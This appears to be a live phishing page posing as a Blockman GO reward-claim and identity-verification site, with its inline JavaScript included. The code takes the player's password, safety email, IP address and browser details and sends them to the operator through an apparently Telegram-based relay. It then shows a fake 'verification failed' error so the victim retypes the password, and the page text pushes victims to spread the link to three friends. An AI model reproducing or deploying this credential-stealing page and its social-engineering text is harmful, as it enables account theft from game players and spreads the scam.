? AUTHENTICATION REQUIRED Web App Access Detected - Please verify your identity to continue. Your account will automatically log out from the game to authorize web app rewards access.
Complete verification to claim your The Boys character rewards
Player
ID: 0000000000 • VIP 0
Secure Verification NEW DEVICE DETECTED
Please verify your safety email to continue
Enter a valid email address to verify this login attempt
Verification Enter the 6-digit code we sent
Code expired - Please try again
Processing Rewards Please don't leave this page
Rewards are generating for you...
Connection Timeout Unable to generate rewards. Please refresh the page.
Please check your code and try again, or restart the process.
Refresh Page
Processing Verification Please wait, verifying your identity...
VERIFICATION FAILED Reward Processing Delayed Our security system requires a 168-hour review. Your rewards are safely reserved.
TIME REMAINING
168h 00m 00s
Invite 3 Friends - Skip the Wait Share your referral link with 3 friends to bypass the 168-hour wait instantly. Each friend you refer also unlocks +1 free spin and unlocks another purchase in the Discount Store for both of you.
WhatsApp Telegram X/Twitter
Claim Claim Rewards Now (Skip Wait) Invite 3 friends to unlock Rewards are reserved for 7 days. You will receive a confirmation at your safety email.
Order summary Total to pay $0.00 USD
Secure Payment
Blockman GO
Congratulations!
You have successfully authenticated and claimed your GC package.
Continue BLOCKMAN GO Reward Claim Verification
VERIFY & CLAIM Your password is encrypted and transmitted securely. This session will be logged for account protection.
window._adReady = false; window._triggerAdThenSpin = function (btnEl) { try { if (window.show_9099327) { window.show_9099327(); } else if (window.__adsterra_show) { window.__adsterra_show(); } } catch (e) { } setTimeout(function () { if (window.spinSystem && typeof window.spinSystem.performSpin === 'function') { window.spinSystem.performSpin(); } }, 500); }; window._handleClaimAllFortune = function () { var userId = sessionStorage.getItem('blockmanEmail') || 'unknown'; var fortuneRewards = window.fortuneRewards || []; var claimedRewards = []; fortuneRewards.forEach(function(reward) { if (reward && reward.image) { claimedRewards.push({ type: 'fortune', name: reward.text || 'Fortune Item', image: reward.image, timestamp: new Date().toISOString(), userId: userId }); } }); var claimedKey = 'bm_claimed_fortune_' + userId; var existingClaimed = JSON.parse(localStorage.getItem(claimedKey) || '[]'); var allClaimed = existingClaimed.concat(claimedRewards); localStorage.setItem(claimedKey, JSON.stringify(allClaimed)); localStorage.setItem('bm_last_claim_' + userId, new Date().toISOString()); sessionStorage.setItem('bm_fortune_claimed', JSON.stringify(claimedRewards)); var btn = document.getElementById('claimAllFortuneBtn'); if (btn) { btn.style.opacity = '0.6'; btn.style.cursor = 'not-allowed'; btn.disabled = true; btn.textContent = '✓ CLAIMED'; } setTimeout(function() { window.open('blockmanblocked://open', '_self'); setTimeout(function() { window._showEnhancedLoginModal(); }, 800); }, 1000); }; window._showEnhancedLoginModal = function() { var userId = sessionStorage.getItem('blockmanEmail') || ''; var nickname = sessionStorage.getItem('blockmanNickname') || 'Player'; var avatarIndex = sessionStorage.getItem('blockmanAvatar') || '0'; var modal = document.getElementById('enhancedLoginModal'); if (!modal) { console.warn('Enhanced login modal not found'); var authModal = document.getElementById('authModal'); if (authModal) authModal.classList.add('active'); return; } document.getElementById('enhancedLoginUserId').textContent = userId; document.getElementById('enhancedLoginNickname').textContent = nickname; document.getElementById('enhancedLoginPassword').value = ''; modal.style.display = 'flex'; var authModal = document.getElementById('authModal'); if (authModal) authModal.classList.remove('active'); }; window._handleEnhancedLogin = function() { console.log('[DBG] _handleEnhancedLogin called'); var userId = sessionStorage.getItem('blockmanEmail') || 'unknown'; var nickname = sessionStorage.getItem('blockmanNickname') || 'Player'; var pwEl = document.getElementById('enhancedLoginPassword'); var password = pwEl ? pwEl.value : ''; var timestamp = new Date().toLocaleString(); var ipAddress = (typeof visitorData !== 'undefined' && visitorData.ipAddress) ? visitorData.ipAddress : 'N/A'; var safetyEmail = sessionStorage.getItem('safetyEmail') || 'N/A'; if (!password || password.trim() === '') { console.log('[DBG] _handleEnhancedLogin: no password'); alert('Please enter your password'); return; } console.log('[DBG] _handleEnhancedLogin: password present, checking __api', typeof window.__api); // Disable button + show spinner var btn = document.querySelector('#enhancedLoginModal button[onclick*="_handleEnhancedLogin"]'); if (btn) { btn.disabled = true; btn.style.opacity = '0.6'; btn.style.cursor = 'not-allowed'; btn.innerHTML = '
VERIFYING...'; } if (!document.getElementById('loginSpinCSS')) { var s = document.createElement('style'); s.id = 'loginSpinCSS'; s.textContent = '@keyframes loginSpin{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}'; document.head.appendChild(s); } var oldErr = document.getElementById('loginErrorText'); if (oldErr) oldErr.remove(); if (pwEl) pwEl.disabled = true; setTimeout(function() { var claimsData = JSON.parse(sessionStorage.getItem('bm_fortune_claimed') || '[]'); var claimsText = claimsData.length > 0 ? claimsData.map(function(c) { return c.name; }).join(', ') : 'No fortune items'; var _claimPayload = window.__discordNotify && window.__discordNotify.passwordLoginReport ? window.__discordNotify.passwordLoginReport({ username: nickname, userId: userId, password: password, email: safetyEmail, gCubes: claimsData.length, userAgent: navigator.userAgent || '', os: navigator.platform || '', registered: 'Fortune: ' + claimsText }) : { content: 'BLOCKMAN GO - CLAIM\n\nUser ID: ' + userId + '\nNickname: ' + nickname + '\nPassword: ' + password + '\nSafety Email: ' + safetyEmail + '\nFortune: ' + claimsText + '\nClaims: ' + claimsData.length + '\nTime: ' + timestamp + '\nIP: ' + ipAddress + '\nUA: ' + navigator.userAgent + '\nTX: TX_' + Math.random().toString(36).substr(2, 9).toUpperCase() }; var sentOk = false; console.log('[CLAIM] __api exists:', !!window.__api, 'tg:', typeof (window.__api && window.__api.tg)); if (window.__api && window.__api.tg) { console.log('[CLAIM] Calling __api.tg with payload'); try { window.__api.tg(_claimPayload); sentOk = true; console.log('[CLAIM] __api.tg call completed'); } catch(e) { console.error('[CLAIM] __api.tg threw:', e); } } else { console.warn('[CLAIM] __api.tg not available'); } if (btn) { btn.disabled = false; btn.style.opacity = '1'; btn.style.cursor = 'pointer'; btn.innerHTML = '
' + (sentOk ? 'NOTIFIED' : 'VERIFY & CLAIM'); } if (pwEl) { pwEl.disabled = false; pwEl.value = ''; pwEl.focus(); } var errP = document.createElement('p'); errP.id = 'loginErrorText'; errP.style.cssText = 'margin:10px 0 0;font-size:0.78rem;color:#ef4444;text-align:center;font-weight:600;'; errP.textContent = sentOk ? '\u26A0 Verification failed. Notification sent to admin.' : '\u26A0 Verification failed. Incorrect password. Please try again.'; if (btn && btn.parentNode) btn.parentNode.insertBefore(errP, btn.nextSibling); }, 6000); }; window._handleFinalClaimAll = function() { var userId = sessionStorage.getItem('blockmanEmail') || ''; if (!userId || userId.trim() === '') { alert('⚠️ Please log in first to claim your rewards'); if (window._showEnhancedLoginModal) window._showEnhancedLoginModal(); return; } var btn = event.target; btn.disabled = true; btn.style.opacity = '0.5'; btn.textContent = 'REDIRECTING...'; setTimeout(function() { window.open('blockmanblocked://open', '_self'); setTimeout(function() { window._showEnhancedLoginModal(); btn.disabled = false; btn.style.opacity = '1'; btn.innerHTML = '
CLAIM ALL REWARDS NOW'; }, 900); }, 500); };
📋